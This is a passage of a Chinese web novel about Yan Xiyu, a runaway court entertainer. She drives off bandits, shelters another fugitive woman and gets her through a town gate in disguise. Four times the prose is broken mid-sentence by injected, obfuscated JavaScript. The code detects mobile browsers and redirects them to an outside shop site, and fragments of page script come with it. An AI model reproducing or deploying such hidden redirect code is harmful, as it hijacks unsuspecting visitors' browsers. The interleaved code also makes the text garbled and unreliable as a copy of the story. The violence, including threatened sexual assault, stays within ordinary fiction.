“大哥,这有匹马!” “快杀了吃肉!” “大哥!这里还有一个娘们!” “好啊,一个不够分,多一个娘们乐子更多!” 燕惜妤像是没听见他们说的话,转身把手里的窗格子拿到背篓旁边放下。 忍住,不能冲动,杀人犯法!劝你们赶紧闭嘴,别逼我动手! 她背对着门口,那几个歹徒已经动手去解缰绳要杀马吃肉了。 “放开,”燕惜妤转身看着他们,“不要动我的马。” “嗬?这娘们在讲啥子?” 几个歹徒露出了邪恶的嘴脸。 “大哥,这娘们让我先来,老子一定能让她服服帖帖。” “怎的?你难道还想连那窑子里老鸨的活计也干了?” “等咱哥几个乐呵完了,把这俩娘们卖到窑子去,有了银子,咱就去花楼找那花娘。” “你给老子过来!”有歹徒两步过来要抓燕惜妤,“老子好好教你怎么取悦……啊!我的手!” 一声凄厉的惨叫陡然响起! “老四?”其他三个歹徒还在茫然,却是眼前倏地一花,下一霎只觉得拿着刀的手猛地传来一阵剧痛,“啊!!!”嘶喊声顿时响个不停。 “咣当”几声,刀剑掉在地上,四个歹徒全都单手紧攥着流血的手腕转身逃跑。 “快跑!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282631|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这娘们是高手!” “别杀我!” 燕惜妤站在门前看着歹徒跑进了大雨中,这才用脚把掉落在地上的刀剑全给踢到屋外去。 只不过她一动,忽然出现了一阵头晕。 嗯?又要断气? 身体还没有恢复? 燕惜妤这下不敢再有大动作了,慢吞吞转身,再慢吞吞地过来扶倒在地上的女子。 这女子一身衣裳破烂不堪,被雨水打湿的头发紧贴在脸上。 燕惜妤给人解了绑在身上的绳子,刚想说话,却听见这女子忽然开口:“你为什么不杀了他们?” 这语气充满了怨恨。 燕惜妤缓慢地站直身体,走到背篓旁靠着土墙坐了下来。 那女子等了一会儿,忽然站起来冲着这边咬牙切齿地低吼:“你为什么不杀了他们?” 屋外下着大雨,屋里到处都在漏雨,阴阴森森的,偶尔能听见马儿打一个响鼻。 “他们骂的难听,我可以骂回去,”燕惜妤将后脑抵在墙上,闭着眼睛忍受着一阵又一阵晕眩,“但因为他们骂的难听所以杀了他们,大承朝难道杀人不用偿命吗?我要是杀了他们,大承律法会如何审判我?” 那女子站着没再说话,但她的呼吸声很重。 “那是你的仇人,你自己不去和他们拼命,却想让我一个陌生人帮你杀了他们,”燕惜妤说话的语气很平静,完全听不出她的情绪,“到时候衙门的衙差把我捉去砍了头,你却还活着,那我这冤大头的仇谁来帮我报?” 那女子沉默了好久,才一声不吭地走到角落里蜷缩着。 燕惜妤睁开眼睛看了看,忍着头晕拿出火折子想把窗格子点燃,但试了几次都没点着。 那女子估计是看不下去了,闷不吭声地走过来把窗格子点燃,然后又要缩回到角落里。 “你渴吗?”燕惜妤拿出了羊皮水囊,又拿出了小铁锅,“你饿不饿?我有饼子。” 那女子身体一顿,见燕惜妤又拿出了两个陶钵用羊皮水囊往里倒水,但总是把水洒在地上。 估计是看不过眼,那女子又闷着头过来倒了一陶钵的水,先放在对方面前。然后又给自己也倒了些水在陶钵里,见对方没说话,她两口就喝光了陶钵里的水。 燕惜妤把小铁锅递给她:“放到外面接点雨水吧。” 那女子沉默着去把小铁锅放在外面的石砖上。石砖边上有一把之前被燕惜妤提过来的刀,她盯着刀看了几眼,大雨滂沱中,无法看清她的脸。 在屋里的燕惜妤漫不经心地扫了她背影一眼。 等她回来后,燕惜妤又给她递了一个脆饼子。 她估计是又饿又渴,边吃饼子边又从羊皮水囊给陶钵里倒了水。 燕惜妤没吃饼子,只小口地喝着水。 等那女子吃完了饼子,把陶钵放下后,燕惜妤才慢悠悠地说:“我断了他们每人一只手,大雨天里人也跑不远,他们流血太多,能不能活还要看命,等雨停了,你出去找找,说不定能在附近见到他们的尸体。” 原本呆呆蜷缩着的女子忽然浑身一震,紧接着就哭出了声。 燕惜妤却没让她哭太久。 她一手抓住了对方的手臂:“我也算是替你报仇了。” 那女子眼红红地看着她。 “我身体不好,不能随便动武,因为断了他们的手,我要发病了,”燕惜妤是闭着眼睛说出这句话的。 “什么……”那女子没听懂她话里的意思。 “我这病很奇怪,像是人死了那般会断气,”燕惜妤闭着眼睛笑笑,“你可不要把我活埋了。” 25. 第25章 燕惜妤知道自己在做梦,因为她听见了类似于呢喃的温柔歌声。 她睁开眼睛时,看见了一张女子的脸。 这张脸她记得,之前她在马县跟着官差去办理户籍时,曾经见过衙差把这张脸张贴在墙上。 大承朝正在通缉这个女子,一个从仓州教坊司里逃跑出来的女乐。 和她一样,都是逃跑的女乐。 这下好了,如果衙差找到她,一下就能逮捕到两个从教坊司里逃跑出来的女乐。 抱着她的人似有感觉地低下头一看,彼此对上了视线。 “你醒了?”对方露出惊喜的表情,甚至还伸出手来探她的鼻息,确定她有呼吸之后,才长长地吁了一口气,“你一直不见醒,我很怕……” 燕惜妤相信她口中说的害怕,毕竟之前她在教坊司里断气了好几次,其他人都不敢靠近她。 “你渴吗?”对方将她扶着坐好,又递了一陶钵水过来。 燕惜妤扫了一眼四周,小铁锅架在石头上正煮着水,她的背篓和包裹都没动过,那四把被她踢出去的刀剑正摆在背篓旁边,而角落里的马儿正在嚼着草。 这人还出去摘了些草回来给马吃。 “外边看到有人倒在地上吗?”燕惜妤边接陶钵边问。 女子伸着的手微微一顿,侧过脸说:“我没敢走远。”其实她看见有人倒在水坑里,但她没敢凑过去细看。昨天这人骂的对,她连去看仇人死亡的样子都不敢,又凭什么让陌生人为她去杀人。 想到这,她连忙追问:“如若……他们真的死在了外头,那你……” “和我没关系啊,”燕惜妤眨巴眨巴眼睛,“他们为非作歹不知被谁伤了,在大雨天找不到郎中疗伤才会死的,离这破屋子那么远,能和我扯上什么关系。” 那女子一脸的懵愣,显然没想到这人早就已经想好了说辞,怪不得昨日会放歹徒逃跑。 燕惜妤一口气喝光了陶钵里的水,呼出一口气说:“多谢你照顾我……和我的马,你是打算去什么地方?如果顺路我们可以一起走,对了,我叫……” 她后面的话还没有说出来,就被对方忽然打断了。 “你叫小丫,”女子用乞求的眼神看过来,“我叫三丫,我是你阿姐,我会照顾你。” 小丫?行吧。 “那我喊你……”燕惜妤试探着开口,“三姐?” “哎!”三丫咧嘴笑笑。她满脸的疲倦,头发还湿着,身上的衣裳也半湿着,却把一个断了气的人抱在怀里唱了半宿的歌。 燕惜妤在心里叹了口气。 “三姐,你衣裳湿着,我拿套……旧的给你换,”燕惜妤之前买了两套新?袍,虽然被她在地砖上搓的又脏又皱,但最起码新衣裳它不破。 “谢谢小丫,”三丫低头看看自己身上破损的衣裳,又理了理湿着的头发。 燕惜妤找出那套?袍,又顺便拿出了那双厚底的草鞋一起递给三丫。 “鞋子要换吗?我只有草鞋。” “谢谢小丫,”三丫把衣裳和草鞋捧在手上,苍白的脸上只有眼眶是红的。 “那你在屋里换,我出去看看,”燕惜妤起身刚想往外走,三丫却伸手过来扶她。 燕惜妤奇怪地看过去,三丫抿了抿嘴唇:“你身子才刚好,还是别到处走。” “没事,我要发病的时候会有感觉的,”燕惜妤对她笑笑。 三丫这才松开了手。 燕惜妤走到屋外,门前的泥地一片泥泞,但空气很清新。 雨已经停了,天才刚蒙蒙亮,今天可以继续赶路。 “小丫,”三丫在背后喊她。 燕惜妤回头,三丫正穿着那套又脏又皱的新?袍。她俩差不多高,衣裳穿着倒是合适,就是脚上的草鞋好像小了些:“是脏了点,凑合着能穿,草鞋是不是小了?” “小点不碍事,草鞋不挤脚,”三丫已经重新梳好了发髻,手里拿着那套换下的破衣裳,“屋外有个破缸里有水,我去洗一下,缝补好了还能穿。” “我和你一起去,”燕惜妤要跟着她出去。 “你这鞋子别沾水,”三丫阻止她。 “好吧,”燕惜妤只能点头。 等三丫洗好衣裳回来,一边拎着湿衣裳在火上烤,一边吃着饼子。 屋里的几个窗格子全都被三丫用歹徒留下的剑给撬了出来,正好够烧开三锅水。 吃过饼子,三丫继续编着她用茅草编织的草兜,她那双手一看就是经常干农活的手。 “三姐,这东西编来做什么?”燕惜妤问她。 三丫看了眼地上的那四把刀剑,语气有些小心翼翼:“我想把这些带上。” “行,带上吧,”燕惜妤点头。 燕惜妤收拾好她的包裹和背篓,又把包着四把刀剑的草兜挂在马鞍上。 等她再回头,三丫不吭声地已经把背篓背在了她自己的背上。手里则拿着她那套换下来的破衣裳,叠成小块,用草绳扎着拎在手里,这是她唯有的家当了。 而且她的脸上还涂抹了一层黑灰,这黑灰显然是从灶火里掏的。 三丫有些回避燕惜妤看过来的眼神。 “你会骑马吗?”燕惜妤抱着包裹问。 三丫摇摇头:“我不会骑马,我也不骑马,我跟着马走。” 燕惜妤点点头,牵着马正要往外走。 三丫连忙说:“你在门口上马,外面全是泥,脏了你那双鞋子就没得穿了。” 燕惜妤听话地在门口上马,三丫背着背篓跟在马儿后面走。 下了一夜的雨,路上的泥巴有些滑。燕惜妤骑着马走得很慢,三丫也走得小心翼翼。 走过了这段泥泞的路,在到了硬泥路上时,燕惜妤下了马。 三丫连忙说:“再走啊,不要停歇。” 她在逃跑,和之前的燕惜妤一样,很害怕一停下来就会被人捉住。 “三姐,轮到你骑马了,”燕惜妤一手抱着包裹,一手牵着缰绳,“这里的路不滑也不湿,你上去骑着马,我跟着马走。” “我不……”三丫连忙想拒绝。 “要是我现在忽然发病,三姐难道就不想骑着马带着我赶路吗?”燕惜妤摸了摸马脖子,“它很乖的,三姐不要怕它。” 三丫能从教坊司里逃出来,自然不是蠢笨的人,试了几次,她就能战战兢兢地自己爬上马背。 “安心坐着,”燕惜妤站在马旁边,抬头看着她说,“我给你牵着马,不会摔的。” “我不怕,”三丫的声音有点儿发颤,但她仍然坐在马背上往下看,“我是阿姐,我要照顾阿妹。” 燕惜妤怕她会害怕,于是变换了话题:“三姐,你是要去麀州?” 三丫嗯了一声,之前她说过,要去麀州。 “刚好顺路,”燕惜妤牵着马向前走,“这里是窉州,窉州过去,就是麀州。” 三丫又嗯了一声。她坐在马背上精神紧绷着,能分神嗯一声已经算是胆大的了。有些胆小的人,别说骑马,就是让人背着双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282632|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚离地都会感到害怕。 燕惜妤只让她在马背上骑了一会,然后就将人扶了下来。 俩人牵着马走了一段路,燕惜妤又把三丫扶着坐上了马背。 几天之后,俩人已经能同骑着一匹马赶路了。 这天,燕惜妤开始留意附近的小村子,想要去买点吃的。 但三丫很抗拒:“不要相信他们,我给你在山上摘果子和野菜,不要去村子里。” “去买点白面和谷子,”燕惜妤说,“咱的饼子要吃完了。” “不能信他们!”三丫坚持着不让燕惜妤进村子,“他们会在白面里下迷药,不能信他们。” 她很抗拒陌生人,也不相信任何人,并且对他人有很强的防备心理。 燕惜妤想了想:“小村子都会种着瓜果和各种菜,我出钱,然后三姐你去田里摘,刚摘的应该不会有问题。” 三丫显然是没想到还能这样做,她喃喃自语道:“对,直接去田里摘,不会有迷药。” “那我们过去?”燕惜妤看着她。 三丫点点头。 这处小村子也就十来户人家,田地不多,但家家户户院前屋后都搭着瓜棚,也种着菜。 燕惜妤牵着马隔着篱笆院喊一位在院子里喂鸡的老妇人:“阿婆,你家地里种的菜可以卖几颗给我们吗?” 阿婆当然乐意将菜卖给她。 燕惜妤负责给钱,三丫负责摘菜。除了瓜果和菜,三丫还从老阿婆手里买一根针和一扎线,还有几块小破布。 傍晚在野外休息的时候,三丫又是拾柴烧菜,又是拿针线缝她之前那套破损的衣裳。 “三姐,你缝衣服,我来煮……”燕惜妤感觉她很忙,于是打算帮忙。 但三丫又把她按着坐在树下:“小丫你歇着,我是阿姐,这些我来做。” 她总是时不时提起她是姐姐,所以要不停干活。这句话仿佛把三丫困住了,成为她走不出的怪圈。 燕惜妤有心想问,又怕提起她的伤心事,只能坐在旁边等吃。 这么久,终于吃到了水煮青菜,燕惜妤吃的那叫一个满足。 饭后,三丫又忙碌了起来。 她先是去旁边的小水塘洗了小铁锅,然后走到树后面换回她自己的那套刚补好的旧衣裳,接着把换下的属于燕惜妤的那套?袍清洗干净。 当她把?袍小心翼翼晾在树枝上时,燕惜妤才留意到这套新衣裳竟然是粉紫色的。 “颜色挺好看,”燕惜妤自言自语了一句,转头一看,三丫正给在水塘边吃草的马儿梳毛,不仅把马毛梳的顺滑,还把马鞍和马镫都给刷干净了。 燕惜妤坐在树下发呆,三丫牵着马儿回来,又拿出了针线。 “……三姐,你这是?”燕惜妤看着对方没一刻停歇的,忍不住又劝她,“歇歇吧。”在这没人逼你要不停地干活。 “我不累,”三丫头也不抬地说,“你总是抱着包裹,我给你缝根布带把包裹背着。” “……那你缝吧,”燕惜妤在心里叹气。但愿她到了麀州之后,能好好歇歇。 窉州靠近麀州的是遥县,每座城池的城门口都有守城兵。 燕惜妤牵着马,和三丫远远地看着进出城门的百姓。 “三姐,我进城去买点吃的,你在这里看着马?”燕惜妤把手里的缰绳递了过去。 三丫紧紧地攥着缰绳,心不在焉地点点头。 燕惜妤背着背篓转身刚要走,三丫忽然开口:“小丫,我同你一起进城!” 26. 第26章 三丫说要进城,可她的通缉画像说不定已经贴满了整座城。 燕惜妤转身看她,发现她的眼神很坚决。 “……三姐,你也要进城?”你难道忘了你是从教坊司逃跑出来的女乐吗?“你身上带了户籍和路引?” 三丫侧过头说:“……都被歹人抢走了。” “没路引和户籍进城如果被盘查会很麻烦,”燕惜妤劝她,“你在这等我,我很快回来。” 可惜三丫是个很固执的人:“我是你的阿姐,我……” 燕惜妤在心里叹气:“你真要进城?” 三丫毫不犹豫地点头。 ……自投罗网啊这是! 还有可能一网捕到俩个逃跑的女乐。 “行,一块进城,把马儿也带上,”燕惜妤转身牵过被三丫攥紧的缰绳,“我们先去换衣裳。” 想安全进城也不是没有办法。 三丫纳闷地跟着她往回走:“不是要进城吗?为何还要换衣裳?” “三姐,你听我的,”燕惜妤牵着马走进树林里,“我能把你带进城。” 因为要进城,燕惜妤把包裹给三丫背着,这会儿她又把包裹拿了过来。 这包裹里除了她的贴身衣物,还有漂亮的衫裙。之前在教坊司的时候,她虽然把能当的衣裳都当了,但还是留下了两套日常需要换洗的衫裙,和脚上穿着的一双锈着银丝的锦鞋。 “这……”女子都是喜欢漂亮衫裙的,三丫也一样,她看着拿出来的衣裳,长久压抑着的眼神这在一刹亮了起来,“这是天上仙女穿的霓裳羽衣吧!” “好看吧,”燕惜妤随意翻了翻那两套衫裙,“你选一套喜欢的穿上。” 她说完,把头上戴着的箬帽一摘,再把之前三丫洗干净的那套粉紫色?袍拿了出来,然后转身走到树后。 等她换好新?袍出来后,三丫还傻站着没动。 “选中这套了?”燕惜妤把最上面那几件衣物塞到三丫手里,又把羊皮水囊也塞了过去,“三姐,你去把衣裳换了,换之前先把脸上的锅灰给洗干净。” “……我……”三丫捧着那套轻飘飘的衫裙不敢动,“我不能穿!” “能,这是我的,你能穿,”燕惜妤伸手搂着她的肩膀,把人带到树后,“快点换,我们能不能安全进城,就靠这套衣裳了。” 然后燕惜妤就把这趟进城需要的物品都摆了出来。 箬帽,还有罩在箬帽外面的白帷纱,两方面纱,两块绸子头巾,还有她在教坊司穿的那双锦鞋。 把这些拿出来之后,又把挂在马鞍上的背篓和小铁锅取了下来。 三丫是在这时从树后面扭扭捏捏走出来的。 “小丫,这身衫裙太贵了,我、我怕给穿坏了……”三丫之前手脚那么勤快的一个人,此时穿上这套昂贵而柔软的衫裙后,却像是被什么坚硬的外壳给束缚住了似的,连正常走路都不会了。 燕惜妤转过头来,三丫穿的这身衫裙确实好看。 内里是藕色羽缎抹胸,下衬郁金褶裥长裙,外面再穿着长至膝下两侧开衩的珠白色软缎直袖褙子。 全是质地薄而软的料子,女子穿在身上,不需走动,只往那一站,微风就能吹拂身上的衫裙,真是应了之前三丫说的那句话,是天上仙女才会穿的霓裳羽衣。 教坊司里能单独住一间屋子的女子,全都会发给这些衫裙。 这两套还算是低调的,其它被当掉的那些,还更要奢华,每件都有着缂丝彩绣,教坊司的舞伎穿着翩翩起舞时,衣物上的刺绣被光线一照耀,不仅让人觉得异常好看,更让人知道这些衣裳很昂贵。 “坏了就换,我那还有一身呢,”燕惜妤将人拉了过来,把那双锦鞋递了过去,“再把鞋子也换了。” “三丫……非要这样穿着才能进城?”三丫捧着锦鞋不安地问。 “嗯,只有这样你才能进城,”燕惜妤已经把帷帽罩好了,和面纱一起递给三丫,“都戴上,我们趁着人多进城。” 三丫没办法,只好换了鞋,又把面纱蒙上,最后再戴上帷帽。 “好,妥妥的富家千金,”燕惜妤满意点头,再低头看看自己身上这身,虽然是粗布圆领?袍,但是新的,而且一点儿磨损都没有。 再转头一看,却发现漏了那两块头巾:“忘了头巾了。” 三丫没办法,只好脱了帷帽,自己用头巾系了一个适合戴帷帽的发髻。 “三姐,先帮我把头发也梳一下,我不会绑头巾,”燕惜妤将自个儿脑袋凑了过去。 三丫很用心地帮她用头巾束了一个圆髻,衬着燕惜妤那双灵动的眼眸,显得娇丽可人。 “谢谢三姐,”燕惜妤晃了晃脑袋,头上忽然少了箬帽,她有点不习惯。 “三姐,你把帷帽戴上,”燕惜妤说着,自己也蒙上了面纱。 然后她把所有衣物又重新包裹起来,接着把还挂在马鞍上的那四把刀剑和背篓放在一起,四周看了看,找了处草丛藏了起来。 三丫一直站着,她不敢动。 “小丫,背篓不能带上?那如何买食粮?”三丫双手撩开帷纱看着她,总有操不完的心,“藏着会不会被人偷了去?” 燕惜妤边把羊皮水囊挂在马鞍上,边无所谓地说:“偷就偷吧,值不了几个钱。” 说完,她侧头看着三丫。 三丫被她这么一看,顿时有些不知所措:“小丫?” “这身衣裳好看吗?”燕惜妤忽然问。 “好看,”三丫点头,“这衫裙定是很贵吧?” 燕惜妤想到之前当的那些衣裳:“是能值几个钱。” 这些衣裳是教坊司发给教坊里的女乐和舞伎的,但看三丫这样子很显然她并不知道。 这就说明她是还没进入教坊司的时候就逃跑了,所以才会对教坊司里的衣裳没有任何反应。 她敢逃,就证明她是被家人卖给教坊司的,而不是像芳娘她们是因家族获罪,从而被充入教坊司当乐户成为奴籍的。 也不知道这个时代的通缉令分不分等级,像她们这些逃跑的人,和那些凶残劫匪是不是同样的通缉等级? ……或许可以趁三丫入城的时候验证一下。 “小丫?”三丫还在不安着,她扶着马鞍站着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282633|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“这身衫裙很贵的,不适合穿来骑马。” “就是不适合才更要穿,”燕惜妤过来帮三丫上了马,又仔细帮她整理好马背上的裙摆,“三姐,你不要怕,只管骑着马,帷帽和衣裳都不用理会,最重要的是一定要用袖口把双手捂紧了。”三丫这双手,一被人看见就会露馅。 “小丫,我就这么一直坐着?”三丫坐在马背上,微风将她戴着的帷纱和衫裙都吹着飘扬了起来。 “对,其他的交给我,”燕惜妤一手搂着包裹,一手抓着缰绳,牵着马儿大步向前走。 城门口有百姓在陆续地进城,大多都是步行挑着担子或背着筐子的村民,牛车和驴车很少,但其中有架带厢马车,守城兵只询问了两句就将人连马都放进了城,并没有手拿着通缉画像对着进城的人看。 离城门口越来越近,三丫忍不住又开口:“小丫……” “嘘!”燕惜妤牵着马连头都没抬,“三姐,不用怕,你信我,我一定会安全把你带进城,如果进不了城,我就动手……” 她话还没讲完,三丫立即就慌了:“你不能动武!官兵要是想捉我,你就自己跑,不用管我,不要杀人,万万不可杀人!” 她固执地偏要冒险陪着一起进城,却又说如果有危险不要管她。 燕惜妤牵着马说:“我知道了,你不要说话,轮到我们了。” 守城兵右手搭着腰间的佩刀走了过来,他抬头看看马背上的人,又去看牵着马的人,板着脸问:“俩位姑娘是哪里人?” 燕惜妤想到之前墩子和官差交谈时喊对方差大哥,但墩子是童生身份的书生,而她现在只是牵马的。 “回差爷,我们是窉州马县人氏。”燕惜妤老实回答,她身上可是有窉州马县发给她的户籍和路引的。 守城兵也没问她要户籍和路引,只是继续口头询问:“进城做什么?” “买吃的,”燕惜妤回答的理直气壮。 “噗嗤”一声,旁边另一个守城兵忽然就笑出了声。 问话的守城兵也不由地缓和了神情:“只为买吃食进城?几时出城?” “我走路走累了,想进城歇两日,”燕惜妤还反过来问人家,“差爷,请问城里最好的客栈叫什么名字啊?” 又是“噗嗤”一声,旁边的那个守城兵笑的肩膀抖个不停。 燕惜妤用困惑的眼神看过去,又转回来用无辜的眼神看着眼前的人。 被她看着的守城兵语气缓和地说:“城里有间好悦客栈,你们可以去投宿。” “谢谢差爷,”燕惜妤牵着马向城里走去。 马背上的人由始至终都不曾开口,轻风吹动了她身上的衫裙和帷帽,飘飘荡荡着如云彩般,甚是好看。 “还看,”刚才问话的守城兵对同僚说,“你看出什么没有。” “不就是富家千金带着贴丫鬟出来游玩,”那守城兵笑着说,“那丫鬟倒是个不胆怯的,口齿还挺伶俐。” “没再看出点旁的?”旁边的守城兵问。 “旁的什么?”这人一愣。 守城兵眯缝着眼说:“没留意到她的手吗?” 27. 第27章 “什么手?”守城兵一脸的茫然,“曾哥你说的是谁的手?” 守城兵曾哥取笑他:“你小子是只顾着盯人姑娘的脸了吧?那丫鬟牵着马的手,虽然黄巴巴,但手指纤长指甲如贝,可不是普通的富家丫鬟。” “可她牵着马,再不普通也是丫鬟吧?”守城兵仍然很懵。 “要不大家都说你小子憨呢,她俩姑娘家身上的衣裳一尘不染,只那丫鬟的鞋子脏了些,你说在路上奔波的人,哪个不是风尘仆仆灰头土脸的?” “对啊!我方才就在想,那马背上姑娘的衣裳那么柔软哪能穿来骑马……”守城兵崇拜地看着曾哥,“曾哥这双眼睛厉害啊!” “你小子且学着些,”守城兵曾哥往正打算进城的那些百姓扫了一眼,“富人家哪会任由自家千金就这样外出,这些进城的人里,定然有她家的仆从,指不定这一路还有车马跟随,你且看着,她家的马车定会跟着进城。” 他才刚说完,外头还真就出现了两架华丽的带厢马车要进城,其中一架马车上只有马夫。 “曾哥太厉害了,这都让你看出来了!”守城兵顿时对曾哥佩服的五体投地,“请曾哥一定多多教小弟!” “你小子日后跟着我,”守城兵曾哥一抬下巴,“那俩姑娘还以为掩饰的很好,殊不知一眼就给我看穿了。” “方才的守城官差会不会看出点什么来啊?”坐在马背上的三丫不安地低声说,“小丫,我怕……” “不怕,”燕惜妤牵着马边看路边说,“我俩女子,不会引人怀疑的。” “可是……”三丫还是很不安。 “没什么可是的,”燕惜妤打断她,“我们是手无缚鸡之力的弱女子,他们就算有所怀疑,也只会怀疑些别的,你放心吧。” 见她这么笃定,三丫也不好再说些什么了。 好悦客栈的门脸很有气派,进门需要上三阶石台。 燕惜妤牵着马刚站定在大门前,客栈的伙计已经肩搭着布巾迎了过来。 “俩人贵客可是要来投宿?” “是,你家客栈能帮着喂马吗?”燕惜妤问他。 伙计说:“那当然是能的,咱家客栈后院就有大马厩,给马喂的也是上好的草料。” “那我和我家姑娘先住三天吧,”燕惜妤说着,转身去扶三丫下了马。 “好嘞,俩位里边请,”那伙计冲里头吆喝了一声,“贵客俩位!” 客栈掌柜就坐在柜台后面,一见有客人进来立即就晃了一下大算盘,所有算珠一下子就排得整整齐齐。 “俩位贵客可是要住店?”掌柜问。 “是,要一间房,先住三天,我还有一匹马,”燕惜妤抱着包裹走在前头,三丫跟在她身后,走的很慢,但裙摆无风也飘扬。 “哎,好,”掌柜立即噼里啪啦打了一会算盘,然后笑着说,“姑娘,六百文一天。” 嘶,六百文一天! 燕惜妤低头掏钱的时候闭了闭眼,再抬头的时候,十方爽快地把一粒有点重量的碎银子放在了柜台上。 掌柜的立即眉开眼笑地拿出了戥子称了碎银子的重量,然后边在账簿上记录边说:“收贵客五钱三银子,俩位贵客若要叫吃食,也将从这五银三银子里扣,若是三日未到,银子扣齐了,我再让伙计与贵客说。” 五钱三的银子,我三天如果花完了,那你这就是黑店! “嗯,带路吧,”燕惜妤点头。 旁边立即有个伙计弯着腰走了过来:“俩位贵客请这边走。” 俩人跟着伙计上了楼,然后停在靠里的一间客房前,伙计推开房门说:“俩位贵客请稍等,这就去拿来茶水。” 客房不大,靠里一张床,靠窗有张小榻,中间是圆桌和圆凳,角落有着脸盆架,上面还放着个木脸盆。 三丫一进来,立即就说:“小丫,住在这里太贵了!”她家一大家子的,一年也花不了钱银子,但方才却一下子给出了五钱三的银子。 “是有点贵,”燕惜妤知道她要说什么,“但这是城里,和在村里不同,村里自家种着谷子种着菜,偶尔还去河里捉鱼,平日除了买肉,如果不买其它的,确实花不了几个钱,可这城里不同,样样要花钱,你看,咱俩要喝水,都要拿钱买。” 三丫还想再说些什么时,房门外传来了伙计的声音:“俩位贵客,茶水来了。” 伙计推门进来,提来了装有热茶水的陶壶和四个茶杯,然后弓身问:“贵客可还有吩咐?” 燕惜妤递给他二十个铜板:“劳烦给我找个新的浴桶,再提来两桶温水。” “好嘞,贵客请稍等!”伙计收了铜钱马上走了出去。 三丫又立即说:“小丫,你怎的给他那么多个铜钱?给两个就足够了。” “给都给了,”燕惜妤无所谓地说。她现在只想好好洗个热水澡。 三丫重重地叹了口气,估计是觉得她太会花钱了。 伙计手脚勤快地先搬来了一个新的大浴桶,又提来两桶温水倒在浴桶里,这才关门离去。 “三姐,你先洗我先洗?”燕惜妤问。 三丫估计是还在心疼花出去的银子,有气无力地摆摆手:“你先洗吧。” 燕惜妤于是关门关窗,然后舒舒服服地洗了个温水澡。 其间三丫一直背对着她坐在圆凳上,帮她看门。 洗了澡,燕惜妤心情都舒畅了很多。 只不过在洗澡的时候,她发现身上被黄栀膏染的皮肤好像越来越黄…… 当初买黄栀膏时,医馆的人是怎么说来着?要多久才能洗去? 燕惜妤想了一下,没能想起来。 洗完后,先把匕首放回怀里,又把链镖缠回左手臂上,三丫可能是听见了链子的声音,但她没转过头来看。 燕惜妤顺便把她之前在城外换下的那套?袍给洗了,才发现这?袍是浅青色的。 “三姐,我让伙计再给你提两桶水过来,”燕惜妤把洗好的衣裳先放在旁边的木脸盆里,这会儿不适合晾。 等三丫也洗了澡之后,她之前心疼银子的情绪一下子就淡了。 燕惜妤知道一直逃跑的感觉,吃不好睡不好,还总觉得身后紧跟着要来抓自己的人。 此时泡了澡后,仿佛之前所有的劳累害怕都消失了。 “我们不出去吃,叫伙计把饭菜端进来,吃饱了我们就睡,”燕惜妤欢快地说。 三丫也跟着点头。 “那我们要吃什么?”燕惜妤本来想吃大鱼大肉,但一想到之前老秀才说过的话,她又不敢吃了,怕肠胃一下子受不了刺激。 “吃些清淡的,”三丫还是怕花银子,“你如果实在是馋肉,那我们再要罐鸡汤。” “行,听三姐的,”燕惜妤连忙点头。 等吃了饭,燕惜妤把之前洗的衣裳晾在脸盆架 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282634|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,然后又拿出了两套寝衣。 她们现在假扮大户人家,可不能穿着睡的皱巴巴的衣裳出门。 燕惜妤换了寝衣,躺在床里边立即就睡着了。 而三丫却是捧着手里的寝衣在发呆。 白日睡觉,醒来时,屋里屋外一片漆黑。 燕惜妤愣愣地坐在床上发呆,等醒过神之后,才发现身边没人,再仔细一看,窗前的那张小榻上隐约躺着个人影。 燕惜妤眨巴眨巴眼睛,人往床上一躺,又睡着了。 再醒来时,屋外已经大亮,三丫穿着衫裙脸蒙面纱坐在榻上看窗外。 “三姐……”燕惜妤刚睡醒,声音还闷闷的。 三丫立即回过头来,见她醒了,一下子就站起身:“三丫醒了?可有哪处不舒服?” “没有,我睡饱了,”燕惜妤顶着一头乱糟糟的头发,抬头看着站在面前的人,“三姐,帮我绑一下头发呗。” “好,”三丫笑着伸手将她从床上拉了起来,“你坐凳子上来。” 